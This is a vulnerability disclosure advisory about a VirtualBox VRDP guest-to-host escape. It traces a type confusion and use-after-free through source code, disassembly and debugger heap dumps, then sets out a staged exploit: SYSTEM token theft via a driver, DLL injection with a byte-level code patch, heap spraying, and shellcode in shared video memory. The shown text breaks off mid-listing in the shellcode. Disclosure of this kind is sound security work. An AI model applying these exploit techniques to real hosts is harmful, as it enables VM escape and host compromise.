SSD Advisory – VirtualBox VRDP Guest-to-Host Escape

Vulnerability Summary
VirtualBox has a built-in RDP server which provides access to a guest machine. While the RDP client sees the guest OS, the RDP server runs on the host OS. Therefore, to view the guest OS the RDP client will make a connection to the host OS IP address rather than the guest OS IP address.
The VRDP server is composted of two parts: a high level, which is open source and residing in the VirtualBox source tree, and is responsible for the display management, and a low level shipped with Extension Pack which is the RDP server which conforms to RDP specifications.
The vulnerability is in the high level part. The vulnerability can be triggered when a connection to a Windows guest OS is closed, i.e. when we close the window of the RDP client application like rdesktop or Microsoft Remote Desktop.
While the crashing bug was reported to the VirtualBox tracker (https://www.virtualbox.org/ticket/16444), it was never considered a security vulnerability, and is not marked as one. This ticket is 15 months old at the time of writing this post and still marked as unresolved.
Prerequisites to exploit the vulnerability:

  • VirtualBox Extension Pack installed on a host. It’s required to enable VRDP server
  • VRDP server enabled
  • 3D acceleration enabled
  • Windows 10 as a guest

The vulnerability can probably be triggered from other guest OS due to the fact the the vulnerable code resides inside the Guest Additions driver.
Credit
An independent security researcher, Sergey Zelenyuk, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Affected systems
VirtualBox version 5.2.10
Vendor response
We reported this vulnerability to Oracle, the latest update from them is that they are still looking into it, while in fact the latest version of Oracle VirtualBox version 5.2.18 has silently introduced a patch without giving credit or mentioning of the vulnerability report. We do not know at this time if this fix was intentional (to fix our report) or done for some other reason, the change log does mention: “VRDP: fixed VM process termination on RDP client disconnect if 3D is enabled for the virtual machine”.
Vulnerability Analysis
General analysis
The vulnerability consists of two parts: a type confusion and a UAF. It’s not clear which of them is a bug and which one was the developer’s intention. We will discuss them separately later in subsection Root Cause Analysis.
Starting from the end, when RDP connection is being closed we gain control at the following place in /VirtualBox-5.2.8/src/VBox/Main/src-client/ConsoleVRDPServer.cpp file, line 1994:

/* static */ DECLCALLBACK(void) ConsoleVRDPServer::H3DORVisibleRegion(void *H3DORInstance, uint32_t cRects, const RTRECT *paRects)
{
    H3DORLOG(("H3DORVisibleRegion: ins %p %d\n", H3DORInstance, cRects));
    H3DORInstance *p = (H3DORInstance *)H3DORInstance;
    Assert(p);
    Assert(p->pThis);
    if (cRects == 0)
    {
        ...
    }
    else
    {
        p->pThis->m_interfaceImage.VRDEImageRegionSet (p->hImageBitmap,
                                                       cRects,
                                                       paRects);
    }
    H3DORLOG(("H3DORVisibleRegion: ins %p completed\n", H3DORInstance));
}

The corresponding assembly is in VBoxC.so library:

.text:0000000000100DF0 ; void __fastcall ConsoleVRDPServer::H3DORVisibleRegion(void *H3DORInstance, uint32_t cRects, const void *paRects)
.text:0000000000100DF0 ConsoleVRDPServer__H3DORVisibleRegion proc near
.text:0000000000100DF0
.text:0000000000100DF0
.text:0000000000100DF0 var_10          = dword ptr -10h
.text:0000000000100DF0 var_C           = dword ptr -0Ch
.text:0000000000100DF0 var_8           = dword ptr -8
.text:0000000000100DF0 var_4           = dword ptr -4
.text:0000000000100DF0
.text:0000000000100DF0 ; __unwind {
.text:0000000000100DF0                 push    rbp
.text:0000000000100DF1                 mov     rax, rdi
.text:0000000000100DF4                 mov     rbp, rsp
.text:0000000000100DF7                 sub     rsp, 10h
.text:0000000000100DFB                 test    esi, esi
.text:0000000000100DFD                 jz      short loc_100E10
.text:0000000000100DFF                 mov     rax, [rax]
.text:0000000000100E02                 mov     rdi, [rdi+8]
.text:0000000000100E06                 call    qword ptr [rax+320h]
.text:0000000000100E0C                 leave
.text:0000000000100E0D                 retn

Root Cause Analysis
Stopping at ConsoleVRDPServer::H3DORVisibleRegion we get a stack trace (here we use binaries with symbols compiled by us rather than those downloaded from VirtualBox website):

#0  ConsoleVRDPServer::H3DORVisibleRegion (H3DORInstance=0x7f7db9817190, cRects=0x1, paRects=0x7f7db9ccad20) at /home/user/src/VirtualBox-5.2.8/src/VBox/Main/src-client/ConsoleVRDPServer.cpp:1996
#1  0x00007f7dcc1f0298 in CrFbDisplayVrdp::vrdpRegions (this=0x7f7db91fdf90, pFb=0x7f7dcc5173f8 <g_CrPresenter+4152>, hEntry=0x7f7dcd079dc0) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_vrdp.cpp:255
#2  0x00007f7dcc1efddd in CrFbDisplayVrdp::EntryRemoved (this=0x7f7db91fdf90, pFb=0x7f7dcc5173f8 <g_CrPresenter+4152>, hEntry=0x7f7dcd079dc0) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_vrdp.cpp:116
#3  0x00007f7dcc1f4e40 in CrFbDisplayBase::fbCleanupRemoveAllEntries (this=0x7f7db91fdf90) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_base.cpp:323
#4  0x00007f7dcc1f0024 in CrFbDisplayVrdp::fbCleanup (this=0x7f7db91fdf90) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_vrdp.cpp:193
#5  0x00007f7dcc1f4808 in CrFbDisplayBase::setFramebuffer (this=0x7f7db91fdf90, pFb=0x0) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_base.cpp:97
#6  0x00007f7dcc1f3ab1 in CrFbDisplayComposite::remove (this=0x7f7db92702b0, pDisplay=0x7f7db91fdf90, fCleanupDisplay=0x1) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_composite.cpp:67
#7  0x00007f7dcc1cf823 in crPMgrFbDisconnectDisplay (hFb=0x7f7dcc5173f8 <g_CrPresenter+4152>, pDp=0x7f7db91fdf90) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/server_presenter.cpp:2008
#8  0x00007f7dcc1d02cf in crPMgrFbDisconnectTargetDisplays (hFb=0x7f7dcc5173f8 <g_CrPresenter+4152>, pDpInfo=0x7f7dcc5163f0 <g_CrPresenter+48>, u32ModeRemove=0x4) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/server_presenter.cpp:2226
#9  0x00007f7dcc1d0787 in crPMgrModeModifyTarget (hFb=0x7f7dcc5173f8 <g_CrPresenter+4152>, iDisplay=0x0, u32ModeAdd=0x0, u32ModeRemove=0x4) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/server_presenter.cpp:2370
#10 0x00007f7dcc1d088f in crPMgrModeModify (hFb=0x7f7dcc5173f8 <g_CrPresenter+4152>, u32ModeAdd=0x0, u32ModeRemove=0x4) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/server_presenter.cpp:2396
#11 0x00007f7dcc1d0c81 in crPMgrModeModifyGlobal (u32ModeAdd=0x0, u32ModeRemove=0x4) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/server_presenter.cpp:2495
#12 0x00007f7dcc1d0d69 in CrPMgrModeVrdp (fEnable=0x0) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/server_presenter.cpp:2536
#13 0x00007f7dcc1e1bc8 in crVBoxServerSetOffscreenRendering (value=0x0) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:2734
#14 0x00007f7dcc1c9aca in svcHostCallPerform (u32Function=0x14, cParms=0x1, paParms=0x7f7df00fcb30) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp:1338
#15 0x00007f7dcc1ca071 in crVBoxServerHostCtl (pCtl=0x7f7df00fcb10, cbCtl=0x38) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp:1438
#16 0x00007f7dcc1e2bc7 in crVBoxCrCmdHostCtl (hSvr=0x0, pCmd=0x7f7df00fcb10 "\001", cbCmd=0x38) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:3218
#17 0x00007f7db756add6 in vboxVDMACrHostCtlProcess (pVdma=0x555786209b10, pCmd=0x7f7dcd054f80, pfContinue=0x7f7df06ade17) at /home/user/src/VirtualBox-5.2.8/src/VBox/Devices/Graphics/DevVGA_VDMA.cpp:1376
#18 0x00007f7db756e391 in vboxVDMAWorkerThread (hThreadSelf=0x55578563bde0, pvUser=0x555786209b10) at /home/user/src/VirtualBox-5.2.8/src/VBox/Devices/Graphics/DevVGA_VDMA.cpp:2696
#19 0x00007f7e1481bb87 in rtThreadMain (pThread=0x55578563bde0, NativeThread=0x7f7df06ae700, pszThreadName=0x55578563c6c0 "VDMA") at /home/user/src/VirtualBox-5.2.8/src/VBox/Runtime/common/misc/thread.cpp:719
#20 0x00007f7e148e36af in rtThreadNativeMain (pvArgs=0x55578563bde0) at /home/user/src/VirtualBox-5.2.8/src/VBox/Runtime/r3/posix/thread-posix.cpp:327
#21 0x00007f7e10075494 in start_thread (arg=0x7f7df06ae700) at pthread_create.c:333
#22 0x00007f7e1222671f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:105

Frames #22 – #14 are a generic handler of VDMA requests including calls to Shared OpenGL Service (Chromium Service) from a guest or a host. Frames #13 – #9 do preparations for the following creation or close of displays. (Display is a part of screen sent to a client. There may be several displays, one of them may represents an entire screen and another may be a little rectangle as an update for the screen.) At frames #8 – #7 we reach the point where a type confusion occurs.
Type Confusion
Frame #7 is of the following function crPMgrFbDisconnectDisplay:

static int crPMgrFbDisconnectDisplay(HCR_FRAMEBUFFER hFb, CrFbDisplayBase *pDp)
{
    ...
    if (pDp->getContainer() == pFbInfo->pDpComposite)
    {
        pFbInfo->pDpComposite->remove(pDp);
        ...
        return VINF_SUCCESS;
    }
    WARN(("misconfig"));
    return VERR_INTERNAL_ERROR;
}

The second argument is an object of CrFbDisplayBase class. This class has the following subclasses: CrFbDisplayComposite, CrFbDisplayWindow, CrFbDisplayWindowRootVr, CrFbDisplayVrdp. In our case the type of pDp object is not CrFbDisplayBase but CrFbDisplayVrdp so its virtual table pointer references CrFbDisplayVrdp table. Please note this.
When pDp->getContainer() is called the call goes to the base class’ method getContainer because only CrFbDisplayBase implements it. The return value of this method is an object of type CrFbDisplayComposite. It’s strange because in our case the object is actually of type CrFbDisplayVrdp.
This allows to pass the check and to call CrFbDisplayComposite::remove() method (frame #6). This method calls CrFbDisplayBase::setFramebuffer, which has another interesting line:

int CrFbDisplayBase::setFramebuffer(struct CR_FRAMEBUFFER *pFb)
{
...
    if (mpFb)
    {
        rc = fbCleanup();
...
}

We can assume that the code was written with an intention to call fbCleanup() on an object of CrFbDisplayBase type, but the current object type is CrFbDisplayVrdp (remember the virtual table pointer). Hence, instead of call to CrFbDisplayBase::fbCleanup() we call the CrFbDisplayVrdp::fbCleanup() function.
Use-After-Free
CrFbDisplayVrdp::fbCleanup() calls method fbCleanupRemoveAllEntries() which is implemented in the base class only so we’ve arrived to CrFbDisplayBase::fbCleanupRemoveAllEntries() which is the root of UAF and the entire vulnerability.

int CrFbDisplayBase::fbCleanupRemoveAllEntries()
{
    VBOXVR_SCR_COMPOSITOR_CONST_ITERATOR Iter;
    const VBOXVR_SCR_COMPOSITOR_ENTRY *pEntry;
    CrVrScrCompositorConstIterInit(CrFbGetCompositor(mpFb), &Iter);
    int rc = VINF_SUCCESS;
    while ((pEntry = CrVrScrCompositorConstIterNext(&Iter)) != NULL)
    {
        HCR_FRAMEBUFFER_ENTRY hEntry = CrFbEntryFromCompositorEntry(pEntry);
        rc = EntryRemoved(mpFb, hEntry);
        if (!RT_SUCCESS(rc))
        {
            WARN(("err"));
            break;
        }
        CrFbVisitCreatedEntries(mpFb, entriesDestroyCb, this);
    }
    return rc;
}

The loop iterates through all displays and calls EntryRemoved() for each display, where HCR_FRAMEBUFFER_ENTRY is a structure pointer represents a single display. Again, EntryRemoved() is called using CrFbDisplayVrdp virtual table rather than one of CrFbDisplayBase. Skipping an analysis of how the deletion is performed, let’s analyze what happens when CrFbVisitCreatedEntries is called.

void CrFbVisitCreatedEntries(HCR_FRAMEBUFFER hFb, PFNCR_FRAMEBUFFER_ENTRIES_VISITOR_CB pfnVisitorCb, void *pvContext)
{
    HCR_FRAMEBUFFER_ENTRY hEntry, hNext;
    RTListForEachSafe(&hFb->EntriesList, hEntry, hNext, CR_FRAMEBUFFER_ENTRY, Node)
    {
        if (hEntry->Flags.fCreateNotified)
        {
            if (!pfnVisitorCb(hFb, hEntry, pvContext))
                return;
        }
    }
}

The first argument is the container of all displays, the second is a callback called for each display, and the third is an argument for the callback. This procedure iterates through all the displays and calls the callback. Now look at the callback itself.

DECLCALLBACK(bool) CrFbDisplayBase::entriesDestroyCb(HCR_FRAMEBUFFER hFb, HCR_FRAMEBUFFER_ENTRY hEntry, void *pvContext)
{
    int rc = ((ICrFbDisplay*)(pvContext))->EntryDestroyed(hFb, hEntry);
    if (!RT_SUCCESS(rc))
    {
        WARN(("err"));
    }
    return true;
}

Not diving deeper, EntryDestroyed() is actually CrFbDisplayVrdp::EntryRemoved() which removes a display and frees its memory. Now you can see what’s wrong: in just one iteration of the loop of fbCleanupRemoveAllEntries() all displays are deleted and freed, and the second iteration will use already freed memory.
Controlled Memory Analysis
Each display (HCR_FRAMEBUFFER_ENTRY) has a hash table where a value is a pointer to a structure describing coordinates of the display. For each display there is usually only one entry in the hash.

typedef struct CR_FRAMEBUFFER_ENTRY
{
    VBOXVR_SCR_COMPOSITOR_ENTRY Entry;
    RTLISTNODE Node;
    uint32_t cRefs;
    CR_FBENTRY_FLAGS Flags;
    CRHTABLE HTable;
} CR_FRAMEBUFFER_ENTRY;
The structure is H3DORInstance defined in ConsoleVRDPServer.cpp file mentioned at the beginning of the analysis.
typedef struct H3DORInstance
{
    ConsoleVRDPServer *pThis;
    HVRDEIMAGE hImageBitmap;
    int32_t x;
    int32_t y;
    uint32_t w;
    uint32_t h;
    bool fCreated;
    bool fFallback;
    bool fTopDown;
} H3DORInstance;

This is a “glue” between the high level of VRDP Server and the rest of VirtualBox. While the hash table holds just void pointers, when they are passed to ConsoleVRDPServer::* methods they are casted as H3DORInstance.
Back to the assembly, let’s look what memory is referenced in method ConsoleVRDPServer::H3DORVisibleRegion when it’s called during normal conditions.

gef➤  x/5i $pc
=> 0x7fa018ec9dff:	mov    rax,QWORD PTR [rax]
   0x7fa018ec9e02:	mov    rdi,QWORD PTR [rdi+0x8]
   0x7fa018ec9e06:	call   QWORD PTR [rax+0x320]
   0x7fa018ec9e0c:	leave
   0x7fa018ec9e0d:	ret
gef➤  x/8gx $rax-0x10
0x7fa005b8e280:	0x0000000000000000	0x0000000000000035
0x7fa005b8e290:	0x00007fa010008070	0x00007fa005bf97f0
0x7fa005b8e2a0:	0x0000000000000000	0x0000029800000400
0x7fa005b8e2b0:	0x0000000000010101	0x0000000000000065
gef➤

$rax-0x10 is a malloc_chunk of size 0x30 and $rax points to a H3DORInstance. You can see “w” (width) field is 0x400 and “h” (height) is 0x298 – it’s the resolution of our RDP client display. Let’s break on this place when RDP session is being closed.

gef➤  x/5i $pc
=> 0x7feffac2cdff:	mov    rax,QWORD PTR [rax]
   0x7feffac2ce02:	mov    rdi,QWORD PTR [rdi+0x8]
   0x7feffac2ce06:	call   QWORD PTR [rax+0x320]
   0x7feffac2ce0c:	leave
   0x7feffac2ce0d:	ret
gef➤  x/8gx $rax-0x10
0x7fefed472ba0:	0x0000000000000000	0x0000000000000035
0x7fefed472bb0:	0x00007fefed44c040	0x00007fefed44e630
0x7fefed472bc0:	0x0000000000000000	0x0000029800000400
0x7fefed472bd0:	0x0000000000010101	0x0000000000001015
gef➤  heap_for_ptr 0x7fefed472ba0
$2 = 0x7fefec000000
gef➤  heap bins fast 0x7fefec000000
Fastbins[idx=0, size=0x10] 0x00
...
Fastbins[idx=5, size=0x60]  ←  ...  ←  Chunk(addr=0x7fefed472bb0, size=0x34, flags=PREV_INUSE|NON_MAIN_ARENA) [incorrect fastbin_index]  ←  ...
...

Memory being referenced is a freed chunk stored in fastbins. The first two qwords at $rax was replaced with malloc_chunk* fd and malloc_chunk* bk, respectively. The code takes the first qword, dereferences it and again dereferences at 0x320 offset. We need to switch to binaries compiled by ourself with symbols and disabled optimization to show what’s really pointed by the first qword at this moment.
The next snippet is a list of displays and corresponding H3DORInstance-s at the first iteration of the loop, when no displays were freed yet.

Thread 43 "VDMA" hit Breakpoint 4, CrFbDisplayBase::fbCleanupRemoveAllEntries (this=0x7fb79d69aec0) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_base.cpp:320
320	    while ((pEntry = CrVrScrCompositorConstIterNext(&Iter)) != NULL)
gef➤  pl
$1 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4e80
$2 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4d00
$3 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4dc0
$4 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4f40
$5 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4c40
$6 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4b80
$7 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4a00
$8 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4940
$9 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4ac0
gef➤  pli
$10 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4e80
$11 = "H3DORInstance:"
0x7fb79d130260:	0x00007fb79c0074b0	0x00007fb79cc71ef0
0x7fb79d130270:	0x0000000000000000	0x0000029b00000556
0x7fb79d130280:	0x0000000000010101
$12 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4d00
$13 = "H3DORInstance:"
0x7fb79cc729f0:	0x00007fb79c0074b0	0x00007fb79d06dd40
0x7fb79cc72a00:	0x0000000000000000	0x0000029b00000556
0x7fb79cc72a10:	0x0000000000010101
$14 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4dc0
$15 = "H3DORInstance:"
0x7fb79cc81690:	0x00007fb79c0074b0	0x00007fb79e1d7c50
0x7fb79cc816a0:	0x0000000000000000	0x0000029b00000556
0x7fb79cc816b0:	0x0000000000010101
$16 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4f40
$17 = "H3DORInstance:"
0x7fb79d66a310:	0x00007fb79c0074b0	0x00007fb79cc81390
0x7fb79d66a320:	0x0000000000000000	0x0000029b00000556
0x7fb79d66a330:	0x0000000000010101
$18 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4c40
$19 = "H3DORInstance:"
0x7fb79cc67450:	0x00007fb79c0074b0	0x00007fb79cc7ba00
0x7fb79cc67460:	0x0000000000000000	0x0000029b00000556
0x7fb79cc67470:	0x0003506100010101
$20 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4b80
$21 = "H3DORInstance:"
0x7fb79d12dc50:	0x00007fb79c0074b0	0x00007fb79d12f080
0x7fb79d12dc60:	0x0000000000000000	0x0000029b00000556
0x7fb79d12dc70:	0x0000000000010101
$22 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4a00
$23 = "H3DORInstance:"
0x7fb79d66a2b0:	0x00007fb79c0074b0	0x00007fb79d12f330
0x7fb79d66a2c0:	0x0000000000000000	0x0000029b00000556
0x7fb79d66a2d0:	0x0003506f00010101
$24 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4940
$25 = "H3DORInstance:"
0x7fb79cf983c0:	0x00007fb79c0074b0	0x00007fb79cc81400
0x7fb79cf983d0:	0x0000000000000000	0x0000029b00000556
0x7fb79cf983e0:	0x0000000000010101
$26 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4ac0
$27 = "H3DORInstance:"
0x7fb79d0a7430:	0x00007fb79c0074b0	0x00007fb79cc814f0
0x7fb79d0a7440:	0x0000000000000000	0x0000029b00000556
0x7fb79d0a7450:	0x0000000000010101

They look fine. Now lets pass one iteration to free all the displays and dump the display structures again.

gef➤  c
Continuing.
[Thread 0x7fb791e05700 (LWP 3722) exited]
[Thread 0x7fb793fff700 (LWP 3723) exited]
Thread 43 "VDMA" hit Breakpoint 4, CrFbDisplayBase::fbCleanupRemoveAllEntries (this=0x7fb79d69aec0) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_base.cpp:320
320	    while ((pEntry = CrVrScrCompositorConstIterNext(&Iter)) != NULL)
gef➤  pl
$28 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4e80
$29 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4d00
$30 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4dc0
$31 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4f40
$32 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4c40
$33 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4b80
$34 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4a00
$35 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4940
$36 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4ac0
gef➤  pli
$37 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4e80
$38 = "H3DORInstance:"
0x7fb79d130260:	0x00007fb79cc81460	0x00007fb79cc71ef0
0x7fb79d130270:	0x0000000000000000	0x0000029b00000556
0x7fb79d130280:	0x0000000000010101
$39 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4d00
$40 = "H3DORInstance:"
0x7fb79cc729f0:	0x00007fb79d130250	0x00007fb79d06dd40
0x7fb79cc72a00:	0x0000000000000000	0x0000029b00000556
0x7fb79cc72a10:	0x0000000000010101
$41 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4dc0
$42 = "H3DORInstance:"
0x7fb79cc81690:	0x00007fb79cc729e0	0x00007fb79e1d7c50
0x7fb79cc816a0:	0x0000000000000000	0x0000029b00000556
0x7fb79cc816b0:	0x0000000000010101
$43 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4f40
$44 = "H3DORInstance:"
0x7fb79d66a310:	0x00007fb79cc81680	0x00007fb79cc81390
0x7fb79d66a320:	0x0000000000000000	0x0000029b00000556
0x7fb79d66a330:	0x0000000000010101
$45 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4c40
$46 = "H3DORInstance:"
0x7fb79cc67450:	0x0000000000000000	0x00007fb79cc7ba00
0x7fb79cc67460:	0x0000000000000000	0x0000029b00000556
0x7fb79cc67470:	0x0003506100010101
$47 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4b80
$48 = "H3DORInstance:"
0x7fb79d12dc50:	0x00007fb79d66a300	0x00007fb79d12f080
0x7fb79d12dc60:	0x0000000000000000	0x0000029b00000556
0x7fb79d12dc70:	0x0000000000010101
$49 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4a00
$50 = "H3DORInstance:"
0x7fb79d66a2b0:	0x00007fb79cc67440	0x00007fb79d12f330
0x7fb79d66a2c0:	0x0000000000000000	0x0000029b00000556
0x7fb79d66a2d0:	0x0003506f00010101
$51 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4940
$52 = "H3DORInstance:"
0x7fb79cf983c0:	0x00007fb79d12dc40	0x00007fb79cc81400
0x7fb79cf983d0:	0x0000000000000000	0x0000029b00000556
0x7fb79cf983e0:	0x0000000000010101
$53 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4ac0
$54 = "H3DORInstance:"
0x7fb79d0a7430:	0x00007fb79cf983b0	0x00007fb79cc814f0
0x7fb79d0a7440:	0x0000000000000000	0x0000029b00000556
0x7fb79d0a7450:	0x0000000000010101

We can see that the first qword of an entry (freed) is a pointer to a previous entry (also freed) minus 0x10, i.e. is a pointer to a malloc_chunk of a previous entry. Next, we continue to break on our crucial code which is occurred in the current iteration (remember we are using unoptimized binaries compiled by us at the moment).

gef➤  b /home/user/src/VirtualBox/src/VBox/Main/src-client/ConsoleVRDPServer.cpp:1994
Breakpoint 5 at 0x7fb7af4eb017: file /home/user/src/VirtualBox-5.2.8/src/VBox/Main/src-client/ConsoleVRDPServer.cpp, line 1994.
gef➤  c
Continuing.
Thread 43 "VDMA" hit Breakpoint 5, ConsoleVRDPServer::H3DORVisibleRegion (H3DORInstance=0x7fb79cf983c0, cRects=0x1, paRects=0x7fb79cc7cab0) at /home/user/src/VirtualBox-5.2.8/src/VBox/Main/src-client/ConsoleVRDPServer.cpp:1994
1994	        p->pThis->m_interfaceImage.VRDEImageRegionSet (p->hImageBitmap,
gef➤  x/16i $pc
=> 0x7fb7af4eb017:	mov    rax,QWORD PTR [rbp-0x8]
   0x7fb7af4eb01b:	mov    rax,QWORD PTR [rax]
   0x7fb7af4eb01e:	mov    rax,QWORD PTR [rax+0x320]
   0x7fb7af4eb025:	mov    rdx,QWORD PTR [rbp-0x8]
   0x7fb7af4eb029:	mov    rcx,QWORD PTR [rdx+0x8]
   0x7fb7af4eb02d:	mov    rdx,QWORD PTR [rbp-0x38]
   0x7fb7af4eb031:	mov    esi,DWORD PTR [rbp-0x2c]
   0x7fb7af4eb034:	mov    rdi,rcx
   0x7fb7af4eb037:	call   rax
   0x7fb7af4eb039:	nop
   0x7fb7af4eb03a:	leave
   0x7fb7af4eb03b:	ret
gef➤  si
0x00007fb7af4eb01b	1994	        p->pThis->m_interfaceImage.VRDEImageRegionSet (p->hImageBitmap,
gef➤  x/8gx $rax-0x10
0x7fb79cf983b0:	0x0000000000000090	0x0000000000000035
0x7fb79cf983c0:	0x00007fb79d12dc40	0x00007fb700000000
0x7fb79cf983d0:	0x00007fb79cc7b8d0	0x00007f0100000000
0x7fb79cf983e0:	0x0000000000010101	0x00000000000000e5

As you can see, $rax holds a pointer to the second H3DORInstance from the bottom (0x7fb79cf983c0) and the first qword is a pointer to malloc_chunk of another freed H3DORInstance (0x7fb79d12dc50-0x10).
The main thing required to exploit this vulnerability is to be able to create an arbitrary number of H3DORInstance-s and to spray the heap around it to point [[$rax]+0x320] to an executable code we control.
Exploit
Source Code
You can find the full source code of the exploit here: VirtualBox VRDP Guest-to-Host Escape.
The exploit contains three parts:

  • Guest usermode executable launcher (vrdpexploit_launcher.exe)
  • Guest usermode library to inject in dwm.exe process (hostid_hijacker.dll)
  • Guest kernelmode driver (vrdpexploit.sys)

The exploit requires an elevated privileges to load the driver. In theory, on OSes other than Windows 10 the privileges may not be required.
Exploitation Algorithm

  1. An attacker runs vrdpexploit_launcher.exe with elevated privileges.
  2. Stage 1: escalation
    1. The launcher loads the driver.
    2. The driver escalates privileges of the launcher process and dwm.exe process to SYSTEM.
  3. Stage 2: hijacking
    1. The launcher injects the library to dwm.exe process and hijacks an identifier required to successfully spray the host heap later.
    2. The hijacked identifier is returned to the launcher.
  4. Stage 3: exploitation
    1. The launcher suspends dwm.exe process to stop any guest-host communication related to a display updating. The display is “freezed”.
    2. The driver connect to the Chromium service on the host via HGSMI (Host-Guest Shared Memory Interface).
    3. The drivers sends a Chromium command to make an information leak and obtain host addresses.
    4. The driver sends commands to the host to spray the heap.
    5. The driver writes a shellcode to video memory. VRAM is shared between the guest and the host, on the host side a mapped VRAM region has RWX attributes set.
    6. The driver reverts dwm.exe privileges back.
  5. Final stage
    1. An attacker closes RDP connection to trigger an execution of the shellcode in VRAM on the host to spawn /usr/bin/xterm.
    2. On the guest, the loader continues dwm.exe process and exits itself. The display is “unfreezed”, the VM continues to work.

Details
Stage 1: Escalation
The launcher (vrdpexploit_launcher.exe) loads the driver (vrdpexploit.sys) and sends IOCTL_ESCALATE request. The driver finds EPROCESS of System, the launcher, and dwm.exe processes. Then it saves an access token of dwm.exe process to revert it back after the exploitation, and replaces tokens of the launcher and dwm.exe with a token of System.
Stage 2: Hijacking
Reflective DLL Injection tool by Stephen Fewer is used to simplify an injection. When the library (hostid_hijacker.dll) is injected into dwm.exe it patches the following code to jump to a shellcode.

(/VirtualBox-5.2.8/src/VBox/Additions/WINNT/Graphics/Video/disp/wddm/VBoxDispD3D.cpp)
static HRESULT APIENTRY vboxWddmDDevPresent(HANDLE hDevice, CONST D3DDDIARG_PRESENT* pData)
{
...
#ifdef VBOX_WITH_CROGL
        if (pAdapter->u32VBox3DCaps & CR_VBOX_CAP_TEX_PRESENT)
        {
            IDirect3DSurface9 *pSrcSurfIf = NULL;
            hr = VBoxD3DIfSurfGet(pSrcRc, pData->SrcSubResourceIndex, &pSrcSurfIf);
...

The patch modifies the code right after VBoxD3DIfSurfGet call:

BYTE gPatch[] =
"\xE8\x00\x00\x00\x00"                      // call $5
"\x58"                                      // pop rax
"\x48\x83\xE8\x05"                          // sub rax, 5
"\x50"                                      // push rax
"\x48\xB8\x41\x41\x41\x41\x41\x41\x41\x41"  // mov rax, 0x4141414141414141
"\x50"                                      // push rax
"\xC3";                                     // ret

At startup time, before patching, the library modifies 0x4141414141414141 with an address of the shellcode.

PUBLIC Shellcode
EXTERN gHostId: DWORD
EXTERN RestoreBytes: PROC
.CODE
Shellcode PROC
	; We should preserve all the registers because it's not known
	; what of them will be used in RestoreBytes()
	push rax
	push rbx
	push rcx
	push rdx
	push rsi
	push rdi
	push r8
	push r9
	push r10
	push r11
	push r12
	push r13
